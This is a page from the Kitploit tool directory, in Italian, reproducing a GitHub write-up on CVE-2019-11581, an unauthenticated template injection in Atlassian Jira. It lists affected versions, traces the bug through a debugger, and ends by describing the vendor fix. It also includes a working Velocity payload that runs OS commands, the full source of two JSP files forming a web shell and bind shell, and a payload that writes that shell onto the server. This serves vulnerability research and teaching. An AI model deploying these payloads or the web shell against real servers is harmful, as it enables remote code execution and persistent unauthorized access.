Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-11581 — Iniezione di template non autenticata in Atlassian Jira | Kitploit
Strumenti/GitHubGitHub/petrusviet/cve-2019-11581
Analisi delle VulnerabilitàExploitShellcodeSfruttamento di Applicazioni WebApprendimento e FormazioneSviluppo Payload
GitHubpetrusviet/cve-2019-11581

CVE-2019-11581

Iniezione di template non autenticata in Atlassian Jira

Vedi Repository
62594 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Iniezione di template non autenticata in Atlassian Jira (CVE-2019-11581)

I) Compilazione

1. Versioni vulnerabili

root@kitploit:~
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)

2. Compilazione e debug

  • Modificare il valore set JVM_SUPPORT_RECOMMENDED_ARGS= nel file ./bin/setenv.bat (o analogamente nel file ./bin/setenv.sh su Linux) per poter eseguire il debug remoto
root@kitploit:~
set JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Scarica lo strumento
  • Nell'IDE (IntelliJ) creare una configurazione di debug: Remote JVM Debug con host e port localhost:5005 e Command line arguments for remote JVM
  • root@kitploit:~
    -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
    
    • Eseguire il file ./bin/config.bat (o il file config.sh su Linux) e impostare "Jira home" sulla propria cartella jira home image

    • Eseguire il file ./bin/start-jira.bat (o ./bin/start-jira.sh su Linux). Verificate che la versione di Java e le porte 8080 e 5005 siano libere, altrimenti non si avvierà!

    • Scegliamo la modalità private image

    • A questo punto, ricordate di usare un indirizzo email in grado di ricevere email :) image

    • Configurate e testate la connessione image

    • In http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa abilitiamo la funzionalità Contact Administrators Form image

    • Ho solo annotato alcune note per la compilazione, potete consultare compilare Jira dal sorgente

    II) Analisi

    Dopo aver letto Advisory sappiamo che questo bug si trova in ContactAdministrators e SendBulkMail (quest'ultimo lo salto perché richiede autenticazione). Quindi comincio a testare la funzionalità ContactAdministrators e catturo la richiesta.

    image

    • Vedo che la richiesta va a /secure/ContactAdministrators.jspa, quindi guardo il file ./atlassian-jira/WEB-INF/web.xml per vedere a quale classe verrà inoltrata questa richiesta
      image
      image

    • Quindi la richiesta verrà gestita da JiraWebworkActionDispatcher, così metto un breakpoint su init e server in questa classe e avvio il debug image

    • Così il programma si ferma nella funzione server, traccio un po' e il programma salta in ContactAdministrators.doExecute() image

    • Poi passa a send, dove il programma elenca gli account admin attivi image

    • Poi il programma passa alla funzione sendTo. Qui vediamo che il programma crea un MailQueueItem e lo aggiunge a mailQueue. image

    • Il programma chiama la funzione EmailBuilder.withSubject. Qui la stringa dell'oggetto dell'email (inviata dall'attaccante) viene convertita da String a TemplateSources e assegnata al parametro subjectTemplate di EmailBuilder. image

    • Nella funzione renderLater il programma crea un EmailRenderer e lo usa per creare un RenderingMailQueueItem image

    • Da qui, tornando alla funzione ContactAdministrators.sendTo. Dopo aver creato un MailQueueItem, il programma aggiunge l'elemento a mailQueue e torna alla funzione doExecute per il redirect. Seguendo questo flusso di debug non possiamo saltare alla parte in cui il programma renderizza l'email, quindi non possiamo arrivare al punto in cui avviene l'iniezione del template. Cosa devo fare per poter seguire l'elaborazione dell'email???

    • Vedo che in EmailRenderer c'è la funzione renderNow (il programma chiama solo renderLater); suppongo che quando l'email in coda viene chiamata per essere renderizzata, segua lo stesso flusso di renderNow, quindi decido di tracciare a partire dalla funzione renderNow image

    • Da renderNow il programma chiama EmailRenderer.render(). Metto un breakpoint qui e ripeto la richiesta per vedere se il programma arriva davvero fin qui. image

    • Fortunatamente il programma ha seguito la direzione che avevo previsto. Successivamente il programma chiama renderEmailSubject image

    • Poi il programma chiama DefaultVelocityTemplatingEngine.render(this.subjectTemplate) image

    • Arriva a DefaultVelocityTemplatingEngine.applying e DefaultVelocityTemplatingEngine.asPlainText image

    • Continuando, chiama asPlainText(Writer writer) image

    • Arriva a toWriterImpl; poiché writer che passo è un Fragment, il programma salta al ramo else

    root@kitploit:~
    private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
                if (this.source instanceof File) {
                    File template = (File)this.source;
                    if (attachCartridge) {
                        this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                    }
    
                    DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
                } else if (this.source instanceof Fragment) {
                    Fragment fragment = (Fragment)this.source;
                    if (attachCartridge) {
                        this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
                    }
    
                    DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
                }
    
            }
    
    • E chiama DefaultVelocityManager.writeEncodedBodyForContent image
    • Continuando attraverso VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Qui il programma ha creato un SimpleNode da Reader image
    • Il programma arriva alla funzione render, dove chiama nodeTree.render(ica, writer); per analizzare il template Velocity, quindi qui abbiamo l'iniezione di template!
    root@kitploit:~
    public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
            InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
            ica.pushCurrentTemplateName(logTag);
    
            try {
                try {
                    nodeTree.init(ica, this);
                } catch (TemplateInitException var13) {
                    throw new ParseErrorException(var13);
                } catch (RuntimeException var14) {
                    throw var14;
                } catch (Exception var15) {
                    String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
                    this.getLog().error(msg, var15);
                    throw new VelocityException(msg, var15);
                }
    
                nodeTree.render(ica, writer);       ### Có thể RCE ở đây ###
            } finally {
                ica.popCurrentTemplateName();
            }
    
            return true;
        }
    
    • Sostituisco l'oggetto dell'email di contatto con il payload del template Velocity:
    root@kitploit:~
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()
    
    
    • E abbiamo riprodotto con successo il PoC :) image

    Stack delle chiamate

    root@kitploit:~
    ContactAdministrators:	doExecute -> send -> sendTo
    	-> EmailBuilder -> renderLater
    	
    RenderingMailQueueItem: send
    	-> emailRenderer: render -> renderEmailSubject
    		-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
    			-> DefaultVelocityManager: writeEncodedBodyForContent
    				->VelocityEngine: evaluate
    					> RuntimeInstance: evaluate -> evaluate -> render
    						=>  SimpleNode: render
    	
    

    Quindi possiamo ottenere RCE sul server Jira, ma se vogliamo una shell e il server non ha connettività outbound, cosa fare? In questo caso non possiamo creare una bind/reverse shell come al solito perché non abbiamo una porta verso internet.

    Ho ricevuto un suggerimento da @honson97: "usare una web JSP per ricevere l'input dall'attaccante e poi passarlo a una bind shell indipendente che ascolta proprio sulla localhost del server".

    image

    Da quest'idea, ho scritto due file JSP: web.jsp e blind.jsp. blind.jsp funge da blind shell, ascolta sempre su localhost:4444, riceve i comandi da passare a cmd/base e restituisce l'output alla JSP web.jsp, che è lo strumento con cui l'attaccante invia i comandi e legge l'output.

    file: web.jsp

    root@kitploit:~
    <%@page import="java.lang.*"%>
    <%@page import="java.util.*"%>
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>
    <%
      Socket socket = new Socket( "127.0.0.1", 4444 );
      
      OutputStream output = socket.getOutputStream();
      PrintWriter writer = new PrintWriter(output, true);
      writer.println(request.getParameter("cmd"));
      
      InputStream input = socket.getInputStream();
      DataInputStream dis = new DataInputStream(input);
      String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr); 
            disr = dis.readLine(); 
        }
            
    	socket.close();
      
    %>
    
    

    file: bind.jsp

    root@kitploit:~
    <%@page import="java.lang.*"%>
    <%@page import="java.util.*"%>
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>
    
    <%
      class StreamConnector 
      {
        InputStream md;
        OutputStream ao;
    
        StreamConnector( InputStream md, OutputStream ao )
        {
          this.md = md;
          this.ao = ao;
        }
    
        public void run()
        {
          BufferedReader yw  = null;
          BufferedWriter enf = null;
          try
          {
            yw  = new BufferedReader( new InputStreamReader( this.md ) );
            enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
            char buffer[] = new char[8192];
            int length  = yw.read( buffer, 0, buffer.length); 
            enf.write( buffer, 0, length );
            enf.flush();
          } catch( Exception e ){}
          
        }
    	
      }
    
      try
      {
        String ShellPath;
    if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
      ShellPath = new String("/bin/sh");
    } else {
      ShellPath = new String("cmd.exe");
    }
    
        ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
    	
        Process process = Runtime.getRuntime().exec( ShellPath );
    		
        while (true) {
         Socket client_socket = server_socket.accept();
    	 ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
    	 
    	  Thread.sleep(1000);
    	  
    	 ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
    	
          client_socket.close();
        }
    
      } catch( Exception e ) {}
      
    %>
    
    

    Successivamente carichiamo la shell sul server; dato che stiamo considerando il caso senza outbound, possiamo caricare i file solo con il comando echo. Prima rimuovo i caratteri "\n" e i caratteri speciali di escape (con Python).

    root@kitploit:~
    a = """ copy-cái-file-vô-đây """
    a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
    print(a)
    

    quindi copio la stringa ottenuta e la inserisco nel payload

    root@kitploit:~
    $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
    

    Dopo aver caricato i due file web.jsp e bind.jsp, accediamo a /bind.jsp e poi in un'altra scheda a /web.jsp?cmd=COMMAND per testare la shell image

    Correzione

    In ContactAdministrators.sendTo(), invece di passare direttamente l'input del client alla funzione EmailBuilder.withSubject per trasformarlo in sorgenti di template (renderizzabili), nella versione corretta gli sviluppatori hanno inserito l'input come contesto stringa e passato solo la stringa "$subject" alla funzione EmailBuilder.withSubject. Durante il rendering, il sistema esegue il template "$subject", cioè carica il subject - contesto stringa (input del client) - senza renderizzarlo. In altre parole, il programma tratta l'input come una stringa, non come un template renderizzabile.

    image Versione vulnerabile

    image Versione corretta